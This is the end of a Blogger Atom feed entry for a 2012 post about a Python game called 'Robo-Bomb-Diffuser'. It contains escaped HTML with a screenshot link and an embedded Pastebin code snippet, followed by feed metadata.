&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUE6wB1tKU0iHukXnsnqdKob0DGGkuNQSUu1HZ4CuL_wq2H3RU8Chihf_UH4gxK6efQEs22pNLiHUuDpEFM3Ol72ZxmMr5H6VAi-tAv5BVT6DEIthtAzu3qqy_iLoEOZmgD-A3gRGjDok/s1600/Screenshot-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUE6wB1tKU0iHukXnsnqdKob0DGGkuNQSUu1HZ4CuL_wq2H3RU8Chihf_UH4gxK6efQEs22pNLiHUuDpEFM3Ol72ZxmMr5H6VAi-tAv5BVT6DEIthtAzu3qqy_iLoEOZmgD-A3gRGjDok/s640/Screenshot-1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;script src=&quot;http://pastebin.com/embed_js.php?i=zDhRhb1c&quot;&gt;&lt;/script&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/1784724033603819400/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/1784724033603819400' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/1784724033603819400'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/1784724033603819400'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2012/04/robo-bomb-defuser.html' title='Python Game: Robo-Bomb-Diffuser'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/UBblRog4MGY/default.jpg" height="72" width="72"/><thr:total>0</thr:total></entry></feed>